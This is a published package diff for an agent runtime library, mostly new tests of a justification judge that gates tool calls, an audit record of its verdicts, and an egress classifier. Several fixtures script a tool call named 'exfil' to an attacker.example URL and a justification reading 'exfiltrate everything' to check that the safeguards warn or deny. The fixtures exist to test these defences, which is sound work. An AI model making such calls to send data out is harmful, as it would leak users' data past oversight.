@crewhaus/runtime-core 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +43 -47
- package/src/cli-markdown.test.ts +35 -1
- package/src/cost-wire-model.test.ts +138 -0
- package/src/index-coverage.test.ts +1671 -0
- package/src/index.test.ts +932 -2
- package/src/index.ts +380 -78
- package/src/observability-coverage.test.ts +303 -0
- package/src/project-memory-coverage.test.ts +119 -0
- package/src/tenant-isolation.test.ts +80 -0
package/src/index.test.ts
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
|
-
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
|
1
|
+
import { afterAll, beforeAll, beforeEach, describe, expect, test } from "bun:test";
|
|
2
2
|
import { mkdtempSync, rmSync } from "node:fs";
|
|
3
3
|
import { tmpdir } from "node:os";
|
|
4
4
|
import { join } from "node:path";
|
|
5
5
|
import { PassThrough } from "node:stream";
|
|
6
6
|
import type Anthropic from "@anthropic-ai/sdk";
|
|
7
7
|
import { createLogger } from "@crewhaus/logging";
|
|
8
|
-
import { createRunContext } from "@crewhaus/run-context";
|
|
8
|
+
import { type RunContext, createRunContext } from "@crewhaus/run-context";
|
|
9
9
|
import { buildTool } from "@crewhaus/tool-builder";
|
|
10
10
|
import { z } from "zod";
|
|
11
11
|
import { replayMessageHistory, resolveAuth, runChatLoop } from "./index";
|
|
@@ -107,6 +107,52 @@ function makeStubAdapter(reply = "ok"): {
|
|
|
107
107
|
return { adapter, calls: () => calls };
|
|
108
108
|
}
|
|
109
109
|
|
|
110
|
+
describe("runChatLoop provider feature gating (Section 17)", () => {
|
|
111
|
+
const noToolUseAdapter = (): import("@crewhaus/adapter-anthropic").ProviderAdapter => {
|
|
112
|
+
const { adapter } = makeStubAdapter();
|
|
113
|
+
return {
|
|
114
|
+
...adapter,
|
|
115
|
+
features: { ...adapter.features, tool_use: false },
|
|
116
|
+
};
|
|
117
|
+
};
|
|
118
|
+
|
|
119
|
+
test("a spec with tools on a no-tool_use adapter throws a ConfigError naming the model", async () => {
|
|
120
|
+
const echoTool = buildTool({
|
|
121
|
+
name: "echo",
|
|
122
|
+
description: "echo",
|
|
123
|
+
inputSchema: z.object({ msg: z.string() }).strict(),
|
|
124
|
+
readOnly: true,
|
|
125
|
+
destructive: false,
|
|
126
|
+
concurrencySafe: true,
|
|
127
|
+
execute: async (i) => i.msg,
|
|
128
|
+
});
|
|
129
|
+
const input = new PassThrough();
|
|
130
|
+
input.end();
|
|
131
|
+
const run = runChatLoop({
|
|
132
|
+
model: "bedrock/meta.llama3-3-70b-instruct-v1:0",
|
|
133
|
+
instructions: "test",
|
|
134
|
+
_adapter: noToolUseAdapter(),
|
|
135
|
+
input,
|
|
136
|
+
tools: [echoTool],
|
|
137
|
+
});
|
|
138
|
+
await expect(run).rejects.toThrow(
|
|
139
|
+
/model "bedrock\/meta\.llama3-3-70b-instruct-v1:0" \(provider anthropic\) does not support tool use — remove tools or pick a tool-capable model/,
|
|
140
|
+
);
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
test("a tool-less spec on the same adapter still runs (gate keys on declared tools)", async () => {
|
|
144
|
+
const input = new PassThrough();
|
|
145
|
+
input.end();
|
|
146
|
+
await runChatLoop({
|
|
147
|
+
model: "test-model",
|
|
148
|
+
instructions: "test",
|
|
149
|
+
_adapter: noToolUseAdapter(),
|
|
150
|
+
input,
|
|
151
|
+
tools: [],
|
|
152
|
+
});
|
|
153
|
+
});
|
|
154
|
+
});
|
|
155
|
+
|
|
110
156
|
describe("runChatLoop stdin EOF handling", () => {
|
|
111
157
|
test("exits cleanly when the input stream is already at EOF", async () => {
|
|
112
158
|
const input = new PassThrough();
|
|
@@ -281,6 +327,51 @@ describe("runChatLoop tool execution", () => {
|
|
|
281
327
|
expect(resultBlocks[0]?.content).toBe("echoed: hi");
|
|
282
328
|
});
|
|
283
329
|
|
|
330
|
+
test("a plain run (no sub-agent / crew) still threads the run's RunContext to tools (#160-followup)", async () => {
|
|
331
|
+
// #160 follow-up — the bridge carrying `runContext` used to be built only
|
|
332
|
+
// when `spawnSubAgent`/`crewMailbox` was injected, so boundary-site tools
|
|
333
|
+
// (tool-mcp, skills-registry) got no RunContext on a plain run and tagged
|
|
334
|
+
// their content under the coarse "tool" origin instead of "mcp"/"skill".
|
|
335
|
+
// Now the bridge is built on every run; assert a tool can reach the run's
|
|
336
|
+
// RunContext (the surface those tools use to call `tagContent`).
|
|
337
|
+
let bridgeRunContext: RunContext | undefined;
|
|
338
|
+
const probe = buildTool({
|
|
339
|
+
name: "probe",
|
|
340
|
+
description: "captures its run context",
|
|
341
|
+
inputSchema: z.object({}),
|
|
342
|
+
execute: async (_input, ctx) => {
|
|
343
|
+
const bridge = ctx?.bridge as { runContext?: RunContext } | undefined;
|
|
344
|
+
bridgeRunContext = bridge?.runContext;
|
|
345
|
+
return "ok";
|
|
346
|
+
},
|
|
347
|
+
});
|
|
348
|
+
|
|
349
|
+
const { adapter } = makeScriptedClient([
|
|
350
|
+
[{ type: "tool_use", id: "tu_p", name: "probe", input: {} } as Anthropic.ToolUseBlock],
|
|
351
|
+
[{ type: "text", text: "done", citations: null } as Anthropic.TextBlock],
|
|
352
|
+
]);
|
|
353
|
+
|
|
354
|
+
const ctx = createRunContext();
|
|
355
|
+
const input = new PassThrough();
|
|
356
|
+
input.write("probe please\n");
|
|
357
|
+
input.end();
|
|
358
|
+
|
|
359
|
+
await runChatLoop({
|
|
360
|
+
model: "test-model",
|
|
361
|
+
instructions: "test",
|
|
362
|
+
_adapter: adapter,
|
|
363
|
+
input,
|
|
364
|
+
tools: [probe],
|
|
365
|
+
permissionMode: "bypass",
|
|
366
|
+
runContext: ctx,
|
|
367
|
+
// NOTE: deliberately NO spawnSubAgent / crewMailbox — a plain top-level run.
|
|
368
|
+
});
|
|
369
|
+
|
|
370
|
+
// The tool saw a bridge, and its runContext is the very run context we
|
|
371
|
+
// passed in — so tool-mcp/skills-registry can tag provenance on every run.
|
|
372
|
+
expect(bridgeRunContext).toBe(ctx);
|
|
373
|
+
});
|
|
374
|
+
|
|
284
375
|
test("returns an is_error tool_result when the model names an unknown tool", async () => {
|
|
285
376
|
const knownTool = buildTool({
|
|
286
377
|
name: "known",
|
|
@@ -1539,3 +1630,842 @@ describe("runChatLoop — Section 10 persistence", () => {
|
|
|
1539
1630
|
expect(kinds.indexOf("user_message")).toBeLessThan(kinds.indexOf("assistant_message"));
|
|
1540
1631
|
});
|
|
1541
1632
|
});
|
|
1633
|
+
|
|
1634
|
+
/**
|
|
1635
|
+
* FR-004 — the justification gate's permission_decision event records the
|
|
1636
|
+
* judge identity (judgeModel) and confidence as first-class fields, not
|
|
1637
|
+
* just embedded in `reason`. This is the runtime surface that backs the
|
|
1638
|
+
* "judge identity recorded" acceptance criterion. A one-turn adapter emits
|
|
1639
|
+
* a tool_use for a `requireJustification: true` tool; an injected
|
|
1640
|
+
* model-backed-style judge makes the assertion deterministic and proves
|
|
1641
|
+
* `opts.justificationJudge` is threaded into the gate.
|
|
1642
|
+
*/
|
|
1643
|
+
function makeJustifiedToolUseAdapter(
|
|
1644
|
+
toolUseId: string,
|
|
1645
|
+
justification: string,
|
|
1646
|
+
): import("@crewhaus/adapter-anthropic").ProviderAdapter {
|
|
1647
|
+
let i = 0;
|
|
1648
|
+
return {
|
|
1649
|
+
providerId: "anthropic",
|
|
1650
|
+
features: {
|
|
1651
|
+
caching: "explicit",
|
|
1652
|
+
tool_use: true,
|
|
1653
|
+
vision: true,
|
|
1654
|
+
thinking: true,
|
|
1655
|
+
web_search: true,
|
|
1656
|
+
},
|
|
1657
|
+
estimateTokens: () => 0,
|
|
1658
|
+
stream: () => {
|
|
1659
|
+
const isFirst = i === 0;
|
|
1660
|
+
i += 1;
|
|
1661
|
+
return (async function* () {
|
|
1662
|
+
yield { kind: "message_start", usage: { input: 10, output: 0 } } as const;
|
|
1663
|
+
if (isFirst) {
|
|
1664
|
+
yield {
|
|
1665
|
+
kind: "content_block_start",
|
|
1666
|
+
index: 0,
|
|
1667
|
+
block: { type: "tool_use", id: toolUseId, name: "sendmessage", input: {} },
|
|
1668
|
+
} as const;
|
|
1669
|
+
yield {
|
|
1670
|
+
kind: "content_block_delta",
|
|
1671
|
+
index: 0,
|
|
1672
|
+
delta: {
|
|
1673
|
+
type: "input_json_delta",
|
|
1674
|
+
partial_json: JSON.stringify({ body: "ack", justification }),
|
|
1675
|
+
},
|
|
1676
|
+
} as const;
|
|
1677
|
+
yield { kind: "content_block_stop", index: 0 } as const;
|
|
1678
|
+
yield {
|
|
1679
|
+
kind: "message_delta",
|
|
1680
|
+
stopReason: "tool_use",
|
|
1681
|
+
usage: { input: 10, output: 5 },
|
|
1682
|
+
} as const;
|
|
1683
|
+
} else {
|
|
1684
|
+
yield {
|
|
1685
|
+
kind: "content_block_start",
|
|
1686
|
+
index: 0,
|
|
1687
|
+
block: { type: "text", text: "" },
|
|
1688
|
+
} as const;
|
|
1689
|
+
yield {
|
|
1690
|
+
kind: "content_block_delta",
|
|
1691
|
+
index: 0,
|
|
1692
|
+
delta: { type: "text_delta", text: "done" },
|
|
1693
|
+
} as const;
|
|
1694
|
+
yield { kind: "content_block_stop", index: 0 } as const;
|
|
1695
|
+
yield {
|
|
1696
|
+
kind: "message_delta",
|
|
1697
|
+
stopReason: "end_turn",
|
|
1698
|
+
usage: { input: 10, output: 5 },
|
|
1699
|
+
} as const;
|
|
1700
|
+
}
|
|
1701
|
+
yield { kind: "message_stop" } as const;
|
|
1702
|
+
})();
|
|
1703
|
+
},
|
|
1704
|
+
};
|
|
1705
|
+
}
|
|
1706
|
+
|
|
1707
|
+
describe("runChatLoop justification gate (FR-004)", () => {
|
|
1708
|
+
test("permission_decision event carries judgeModel + justificationConfidence", async () => {
|
|
1709
|
+
const sendMessage = buildTool({
|
|
1710
|
+
name: "sendmessage",
|
|
1711
|
+
description: "send a message (justification-gated)",
|
|
1712
|
+
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1713
|
+
requireJustification: true,
|
|
1714
|
+
execute: async () => "sent",
|
|
1715
|
+
});
|
|
1716
|
+
|
|
1717
|
+
const judge: import("@crewhaus/permission-engine").JustificationJudge = async () => ({
|
|
1718
|
+
allow: true,
|
|
1719
|
+
reason: "consistent with the session goal",
|
|
1720
|
+
confidence: 0.77,
|
|
1721
|
+
judgeModel: "claude-haiku-4-5",
|
|
1722
|
+
});
|
|
1723
|
+
|
|
1724
|
+
const runContext = createRunContext();
|
|
1725
|
+
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
1726
|
+
runContext.eventBus.subscribe((e) => {
|
|
1727
|
+
seen.push(e);
|
|
1728
|
+
});
|
|
1729
|
+
|
|
1730
|
+
await runChatLoop({
|
|
1731
|
+
model: "test-model",
|
|
1732
|
+
instructions: "Acknowledge support tickets the user points you at.",
|
|
1733
|
+
_adapter: makeJustifiedToolUseAdapter(
|
|
1734
|
+
"toolu_just",
|
|
1735
|
+
"acknowledge the user's ticket per the goal",
|
|
1736
|
+
),
|
|
1737
|
+
runContext,
|
|
1738
|
+
singleTurn: true,
|
|
1739
|
+
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1740
|
+
tools: [sendMessage],
|
|
1741
|
+
permissionMode: "bypass",
|
|
1742
|
+
justificationJudge: judge,
|
|
1743
|
+
});
|
|
1744
|
+
|
|
1745
|
+
// The tool yields TWO permission_decision events: the general
|
|
1746
|
+
// permission-mode check (no judge fields) and the justification gate.
|
|
1747
|
+
// Select the gate's event by its `justification:` reason prefix.
|
|
1748
|
+
const decision = seen.find(
|
|
1749
|
+
(
|
|
1750
|
+
e,
|
|
1751
|
+
): e is Extract<
|
|
1752
|
+
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
1753
|
+
{ kind: "permission_decision" }
|
|
1754
|
+
> =>
|
|
1755
|
+
e.kind === "permission_decision" &&
|
|
1756
|
+
e.toolName === "sendmessage" &&
|
|
1757
|
+
(e.reason?.startsWith("justification:") ?? false),
|
|
1758
|
+
);
|
|
1759
|
+
expect(decision).toBeDefined();
|
|
1760
|
+
expect(decision?.decision).toBe("allow");
|
|
1761
|
+
// Judge identity promoted to first-class fields (the audit criterion).
|
|
1762
|
+
expect(decision?.judgeModel).toBe("claude-haiku-4-5");
|
|
1763
|
+
expect(decision?.justificationConfidence).toBe(0.77);
|
|
1764
|
+
// The model id is also still discoverable in reason for back-compat.
|
|
1765
|
+
expect(decision?.reason).toContain("[judge=claude-haiku-4-5]");
|
|
1766
|
+
});
|
|
1767
|
+
|
|
1768
|
+
test("falls back to ruleBasedJustificationJudge when no judge is supplied", async () => {
|
|
1769
|
+
const sendMessage = buildTool({
|
|
1770
|
+
name: "sendmessage",
|
|
1771
|
+
description: "send a message (justification-gated)",
|
|
1772
|
+
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1773
|
+
requireJustification: true,
|
|
1774
|
+
execute: async () => "sent",
|
|
1775
|
+
});
|
|
1776
|
+
|
|
1777
|
+
const runContext = createRunContext();
|
|
1778
|
+
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
1779
|
+
runContext.eventBus.subscribe((e) => {
|
|
1780
|
+
seen.push(e);
|
|
1781
|
+
});
|
|
1782
|
+
|
|
1783
|
+
await runChatLoop({
|
|
1784
|
+
model: "test-model",
|
|
1785
|
+
instructions: "Acknowledge support tickets the user points you at.",
|
|
1786
|
+
_adapter: makeJustifiedToolUseAdapter(
|
|
1787
|
+
"toolu_rb",
|
|
1788
|
+
"acknowledge the user's support ticket per the session goal",
|
|
1789
|
+
),
|
|
1790
|
+
runContext,
|
|
1791
|
+
singleTurn: true,
|
|
1792
|
+
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1793
|
+
tools: [sendMessage],
|
|
1794
|
+
permissionMode: "bypass",
|
|
1795
|
+
// no justificationJudge => default rule-based judge.
|
|
1796
|
+
});
|
|
1797
|
+
|
|
1798
|
+
// The tool yields TWO permission_decision events: the general
|
|
1799
|
+
// permission-mode check (no judge fields) and the justification gate.
|
|
1800
|
+
// Select the gate's event by its `justification:` reason prefix.
|
|
1801
|
+
const decision = seen.find(
|
|
1802
|
+
(
|
|
1803
|
+
e,
|
|
1804
|
+
): e is Extract<
|
|
1805
|
+
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
1806
|
+
{ kind: "permission_decision" }
|
|
1807
|
+
> =>
|
|
1808
|
+
e.kind === "permission_decision" &&
|
|
1809
|
+
e.toolName === "sendmessage" &&
|
|
1810
|
+
(e.reason?.startsWith("justification:") ?? false),
|
|
1811
|
+
);
|
|
1812
|
+
expect(decision).toBeDefined();
|
|
1813
|
+
// The default judge stamps "rule-based" — confirms the unset-opt fallback.
|
|
1814
|
+
expect(decision?.judgeModel).toBe("rule-based");
|
|
1815
|
+
});
|
|
1816
|
+
|
|
1817
|
+
test("appends a durable permission_justification_evaluated record (verbatim payload + judge identity) when an audit sink is configured", async () => {
|
|
1818
|
+
const sendMessage = buildTool({
|
|
1819
|
+
name: "sendmessage",
|
|
1820
|
+
description: "send a message (justification-gated)",
|
|
1821
|
+
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1822
|
+
requireJustification: true,
|
|
1823
|
+
execute: async () => "sent",
|
|
1824
|
+
});
|
|
1825
|
+
|
|
1826
|
+
const judge: import("@crewhaus/permission-engine").JustificationJudge = async () => ({
|
|
1827
|
+
allow: true,
|
|
1828
|
+
reason: "consistent with the session goal",
|
|
1829
|
+
confidence: 0.77,
|
|
1830
|
+
judgeModel: "claude-haiku-4-5",
|
|
1831
|
+
});
|
|
1832
|
+
|
|
1833
|
+
// In-memory sink that satisfies the JustificationAuditSink seam. Proves
|
|
1834
|
+
// runtime-core appends the documented kind + verbatim payload; the CLI
|
|
1835
|
+
// test exercises the same seam against a real hash-chained @crewhaus/audit-log.
|
|
1836
|
+
const appended: Array<{ kind: string; payload: unknown }> = [];
|
|
1837
|
+
const sink: import("./index").JustificationAuditSink = {
|
|
1838
|
+
async append(input) {
|
|
1839
|
+
appended.push(input);
|
|
1840
|
+
return input;
|
|
1841
|
+
},
|
|
1842
|
+
};
|
|
1843
|
+
|
|
1844
|
+
// A justification that pads goal vocabulary; the model judge allows it.
|
|
1845
|
+
const JUSTIFICATION = "ack the ticket per the support-acknowledgement goal";
|
|
1846
|
+
const runContext = createRunContext();
|
|
1847
|
+
await runChatLoop({
|
|
1848
|
+
model: "test-model",
|
|
1849
|
+
instructions: "Acknowledge support tickets the user points you at.",
|
|
1850
|
+
_adapter: makeJustifiedToolUseAdapter("toolu_audit", JUSTIFICATION),
|
|
1851
|
+
runContext,
|
|
1852
|
+
singleTurn: true,
|
|
1853
|
+
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1854
|
+
tools: [sendMessage],
|
|
1855
|
+
permissionMode: "bypass",
|
|
1856
|
+
justificationJudge: judge,
|
|
1857
|
+
justificationAuditSink: sink,
|
|
1858
|
+
});
|
|
1859
|
+
|
|
1860
|
+
// Exactly one durable record, with the reserved kind.
|
|
1861
|
+
expect(appended).toHaveLength(1);
|
|
1862
|
+
const rec = appended[0];
|
|
1863
|
+
expect(rec?.kind).toBe("permission_justification_evaluated");
|
|
1864
|
+
const payload = rec?.payload as {
|
|
1865
|
+
toolName: string;
|
|
1866
|
+
justification: string;
|
|
1867
|
+
verdict: string;
|
|
1868
|
+
reason: string;
|
|
1869
|
+
judgeModel: string;
|
|
1870
|
+
confidence?: number;
|
|
1871
|
+
};
|
|
1872
|
+
// Judge identity recorded on the DURABLE record (the literal acceptance
|
|
1873
|
+
// criterion: "the permission_justification_evaluated audit kind with the
|
|
1874
|
+
// judge identity recorded").
|
|
1875
|
+
expect(payload.judgeModel).toBe("claude-haiku-4-5");
|
|
1876
|
+
expect(payload.verdict).toBe("allow");
|
|
1877
|
+
expect(payload.toolName).toBe("sendmessage");
|
|
1878
|
+
// Justification stored VERBATIM (the audit-log doc-comment's contract:
|
|
1879
|
+
// "the justification IS the audit artifact"), not a substring of `reason`.
|
|
1880
|
+
expect(payload.justification).toBe(JUSTIFICATION);
|
|
1881
|
+
expect(payload.reason).toBe("consistent with the session goal");
|
|
1882
|
+
expect(payload.confidence).toBe(0.77);
|
|
1883
|
+
});
|
|
1884
|
+
|
|
1885
|
+
test("audits DENIED justification-gated calls too (the denial is the artifact)", async () => {
|
|
1886
|
+
const sendMessage = buildTool({
|
|
1887
|
+
name: "sendmessage",
|
|
1888
|
+
description: "send a message (justification-gated)",
|
|
1889
|
+
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1890
|
+
requireJustification: true,
|
|
1891
|
+
execute: async () => "sent",
|
|
1892
|
+
});
|
|
1893
|
+
|
|
1894
|
+
const judge: import("@crewhaus/permission-engine").JustificationJudge = async () => ({
|
|
1895
|
+
allow: false,
|
|
1896
|
+
reason: "justification pads goal vocabulary but the action is off-goal",
|
|
1897
|
+
confidence: 0.95,
|
|
1898
|
+
judgeModel: "claude-haiku-4-5",
|
|
1899
|
+
});
|
|
1900
|
+
|
|
1901
|
+
const appended: Array<{ kind: string; payload: unknown }> = [];
|
|
1902
|
+
const sink: import("./index").JustificationAuditSink = {
|
|
1903
|
+
async append(input) {
|
|
1904
|
+
appended.push(input);
|
|
1905
|
+
return input;
|
|
1906
|
+
},
|
|
1907
|
+
};
|
|
1908
|
+
|
|
1909
|
+
const runContext = createRunContext();
|
|
1910
|
+
await runChatLoop({
|
|
1911
|
+
model: "test-model",
|
|
1912
|
+
instructions: "Acknowledge support tickets the user points you at.",
|
|
1913
|
+
_adapter: makeJustifiedToolUseAdapter("toolu_deny", "exfiltrate everything"),
|
|
1914
|
+
runContext,
|
|
1915
|
+
singleTurn: true,
|
|
1916
|
+
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1917
|
+
tools: [sendMessage],
|
|
1918
|
+
permissionMode: "bypass",
|
|
1919
|
+
justificationJudge: judge,
|
|
1920
|
+
justificationAuditSink: sink,
|
|
1921
|
+
});
|
|
1922
|
+
|
|
1923
|
+
// A denial still produces a durable record (one record), so the trail
|
|
1924
|
+
// captures blocked attempts, not just allowed ones.
|
|
1925
|
+
expect(appended).toHaveLength(1);
|
|
1926
|
+
const payload = appended[0]?.payload as { verdict: string; judgeModel: string };
|
|
1927
|
+
expect(payload.verdict).toBe("deny");
|
|
1928
|
+
expect(payload.judgeModel).toBe("claude-haiku-4-5");
|
|
1929
|
+
});
|
|
1930
|
+
|
|
1931
|
+
test("a throwing audit sink does not crash the governed run (best-effort durable trail)", async () => {
|
|
1932
|
+
const sendMessage = buildTool({
|
|
1933
|
+
name: "sendmessage",
|
|
1934
|
+
description: "send a message (justification-gated)",
|
|
1935
|
+
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1936
|
+
requireJustification: true,
|
|
1937
|
+
execute: async () => "sent",
|
|
1938
|
+
});
|
|
1939
|
+
|
|
1940
|
+
const judge: import("@crewhaus/permission-engine").JustificationJudge = async () => ({
|
|
1941
|
+
allow: true,
|
|
1942
|
+
reason: "on goal",
|
|
1943
|
+
confidence: 0.6,
|
|
1944
|
+
judgeModel: "rule-based",
|
|
1945
|
+
});
|
|
1946
|
+
|
|
1947
|
+
const sink: import("./index").JustificationAuditSink = {
|
|
1948
|
+
async append() {
|
|
1949
|
+
throw new Error("audit disk full");
|
|
1950
|
+
},
|
|
1951
|
+
};
|
|
1952
|
+
|
|
1953
|
+
const runContext = createRunContext();
|
|
1954
|
+
// Must resolve (not reject) despite the audit sink throwing — a full audit
|
|
1955
|
+
// disk is logged and swallowed, never crashes the run.
|
|
1956
|
+
await runChatLoop({
|
|
1957
|
+
model: "test-model",
|
|
1958
|
+
instructions: "Acknowledge support tickets the user points you at.",
|
|
1959
|
+
_adapter: makeJustifiedToolUseAdapter("toolu_throw", "ack the ticket per the goal"),
|
|
1960
|
+
runContext,
|
|
1961
|
+
singleTurn: true,
|
|
1962
|
+
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1963
|
+
tools: [sendMessage],
|
|
1964
|
+
permissionMode: "bypass",
|
|
1965
|
+
justificationJudge: judge,
|
|
1966
|
+
justificationAuditSink: sink,
|
|
1967
|
+
});
|
|
1968
|
+
// Reaching here without a thrown rejection is the assertion.
|
|
1969
|
+
expect(true).toBe(true);
|
|
1970
|
+
});
|
|
1971
|
+
});
|
|
1972
|
+
|
|
1973
|
+
// ---------------------------------------------------------------------------
|
|
1974
|
+
// FR-006 — pluggable egress matcher threaded through runChatLoop.
|
|
1975
|
+
// ---------------------------------------------------------------------------
|
|
1976
|
+
|
|
1977
|
+
/**
|
|
1978
|
+
* Emits one external-tool `tool_use` on the first call, then plain text on
|
|
1979
|
+
* the second so the loop terminates. Mirrors `makeJustifiedToolUseAdapter`
|
|
1980
|
+
* but targets the "exfil" tool name with an attacker-style URL input.
|
|
1981
|
+
*/
|
|
1982
|
+
function makeExternalToolUseAdapter(
|
|
1983
|
+
toolUseId: string,
|
|
1984
|
+
toolName: string,
|
|
1985
|
+
input: Record<string, unknown>,
|
|
1986
|
+
): import("@crewhaus/adapter-anthropic").ProviderAdapter {
|
|
1987
|
+
let i = 0;
|
|
1988
|
+
return {
|
|
1989
|
+
providerId: "anthropic",
|
|
1990
|
+
features: {
|
|
1991
|
+
caching: "explicit",
|
|
1992
|
+
tool_use: true,
|
|
1993
|
+
vision: true,
|
|
1994
|
+
thinking: true,
|
|
1995
|
+
web_search: true,
|
|
1996
|
+
},
|
|
1997
|
+
estimateTokens: () => 0,
|
|
1998
|
+
stream: () => {
|
|
1999
|
+
const isFirst = i === 0;
|
|
2000
|
+
i += 1;
|
|
2001
|
+
return (async function* () {
|
|
2002
|
+
yield { kind: "message_start", usage: { input: 10, output: 0 } } as const;
|
|
2003
|
+
if (isFirst) {
|
|
2004
|
+
yield {
|
|
2005
|
+
kind: "content_block_start",
|
|
2006
|
+
index: 0,
|
|
2007
|
+
block: { type: "tool_use", id: toolUseId, name: toolName, input: {} },
|
|
2008
|
+
} as const;
|
|
2009
|
+
yield {
|
|
2010
|
+
kind: "content_block_delta",
|
|
2011
|
+
index: 0,
|
|
2012
|
+
delta: { type: "input_json_delta", partial_json: JSON.stringify(input) },
|
|
2013
|
+
} as const;
|
|
2014
|
+
yield { kind: "content_block_stop", index: 0 } as const;
|
|
2015
|
+
yield {
|
|
2016
|
+
kind: "message_delta",
|
|
2017
|
+
stopReason: "tool_use",
|
|
2018
|
+
usage: { input: 10, output: 5 },
|
|
2019
|
+
} as const;
|
|
2020
|
+
} else {
|
|
2021
|
+
yield {
|
|
2022
|
+
kind: "content_block_start",
|
|
2023
|
+
index: 0,
|
|
2024
|
+
block: { type: "text", text: "" },
|
|
2025
|
+
} as const;
|
|
2026
|
+
yield {
|
|
2027
|
+
kind: "content_block_delta",
|
|
2028
|
+
index: 0,
|
|
2029
|
+
delta: { type: "text_delta", text: "done" },
|
|
2030
|
+
} as const;
|
|
2031
|
+
yield { kind: "content_block_stop", index: 0 } as const;
|
|
2032
|
+
yield {
|
|
2033
|
+
kind: "message_delta",
|
|
2034
|
+
stopReason: "end_turn",
|
|
2035
|
+
usage: { input: 10, output: 5 },
|
|
2036
|
+
} as const;
|
|
2037
|
+
}
|
|
2038
|
+
yield { kind: "message_stop" } as const;
|
|
2039
|
+
})();
|
|
2040
|
+
},
|
|
2041
|
+
};
|
|
2042
|
+
}
|
|
2043
|
+
|
|
2044
|
+
describe("runChatLoop egress matcher (FR-006)", () => {
|
|
2045
|
+
// The egress-classifier LRU is a process-global singleton; clear it
|
|
2046
|
+
// before each case so a verdict cached by one test never short-circuits
|
|
2047
|
+
// the matcher in another (the cache is keyed by matcher name + payload).
|
|
2048
|
+
beforeEach(async () => {
|
|
2049
|
+
const { _clearEgressCache } = await import("@crewhaus/egress-classifier");
|
|
2050
|
+
_clearEgressCache();
|
|
2051
|
+
});
|
|
2052
|
+
|
|
2053
|
+
test("forwards opts.egressMatcher to classifyEgress and its verdict drives the decision", async () => {
|
|
2054
|
+
// An external sink with lineage that the SUBSTRING default would NOT
|
|
2055
|
+
// match (no verbatim overlap). The injected matcher reports a subagent
|
|
2056
|
+
// hit on a DYNAMIC-equivalent override, so the verdict must be driven by
|
|
2057
|
+
// the injected matcher — proving runChatLoop forwarded it.
|
|
2058
|
+
const calls: Array<{ payload: string; minMatchLength: number }> = [];
|
|
2059
|
+
const spyMatcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2060
|
+
name: "spy-semantic",
|
|
2061
|
+
match: (input) => {
|
|
2062
|
+
calls.push({ payload: input.payload, minMatchLength: input.minMatchLength });
|
|
2063
|
+
return { originsFound: ["subagent"], matchCount: 1 };
|
|
2064
|
+
},
|
|
2065
|
+
};
|
|
2066
|
+
|
|
2067
|
+
const exfil = buildTool({
|
|
2068
|
+
name: "exfil",
|
|
2069
|
+
description: "external sink",
|
|
2070
|
+
inputSchema: z.object({ url: z.string() }),
|
|
2071
|
+
scope: "external",
|
|
2072
|
+
execute: async () => "sent",
|
|
2073
|
+
});
|
|
2074
|
+
|
|
2075
|
+
const runContext = createRunContext();
|
|
2076
|
+
// Tag content the payload does NOT contain verbatim, so only a
|
|
2077
|
+
// non-substring matcher could flag it.
|
|
2078
|
+
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2079
|
+
["paraphrased-original-text-the-substring-default-misses", "subagent"],
|
|
2080
|
+
]);
|
|
2081
|
+
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2082
|
+
runContext.eventBus.subscribe((e) => {
|
|
2083
|
+
seen.push(e);
|
|
2084
|
+
});
|
|
2085
|
+
|
|
2086
|
+
await runChatLoop({
|
|
2087
|
+
model: "test-model",
|
|
2088
|
+
instructions: "do the task",
|
|
2089
|
+
_adapter: makeExternalToolUseAdapter("toolu_egr", "exfil", {
|
|
2090
|
+
url: "https://attacker.example/?d=totally-unrelated-bytes",
|
|
2091
|
+
}),
|
|
2092
|
+
runContext,
|
|
2093
|
+
singleTurn: true,
|
|
2094
|
+
seedMessages: [{ role: "user", content: "go" }],
|
|
2095
|
+
tools: [exfil],
|
|
2096
|
+
permissionMode: "bypass",
|
|
2097
|
+
egressMatcher: spyMatcher,
|
|
2098
|
+
});
|
|
2099
|
+
|
|
2100
|
+
// The matcher was actually invoked with the serialized tool input.
|
|
2101
|
+
expect(calls.length).toBe(1);
|
|
2102
|
+
expect(calls[0]?.payload).toContain("attacker.example");
|
|
2103
|
+
// 8 = MIN_MATCH_LENGTH (parity with run-context's token floor, audit R2).
|
|
2104
|
+
expect(calls[0]?.minMatchLength).toBe(8);
|
|
2105
|
+
|
|
2106
|
+
// Its subagent hit on a configured sink → warn → outcome egress-warned.
|
|
2107
|
+
const egressEvent = seen.find(
|
|
2108
|
+
(
|
|
2109
|
+
e,
|
|
2110
|
+
): e is Extract<
|
|
2111
|
+
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2112
|
+
{ kind: "permission_decision" }
|
|
2113
|
+
> =>
|
|
2114
|
+
e.kind === "permission_decision" &&
|
|
2115
|
+
e.toolName === "exfil" &&
|
|
2116
|
+
(e.reason?.startsWith("egress:") ?? false),
|
|
2117
|
+
);
|
|
2118
|
+
expect(egressEvent).toBeDefined();
|
|
2119
|
+
expect(egressEvent?.outcome).toBe("egress-warned");
|
|
2120
|
+
expect(egressEvent?.reason).toContain("subagent");
|
|
2121
|
+
});
|
|
2122
|
+
|
|
2123
|
+
